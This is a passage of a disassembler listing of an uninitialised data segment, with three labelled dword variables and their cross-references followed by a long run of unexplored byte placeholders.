dword_807B0E4 dd ? ; DATA XREF: sub_805A11C+B7r ; sub_805A11C+123r ... dword_807B0E8 dd ? ; DATA XREF: sub_805A11C+3Ar ; sub_805A11C+A0r db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807B0F0 dd ? ; DATA XREF: sub_805B048+33r db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; 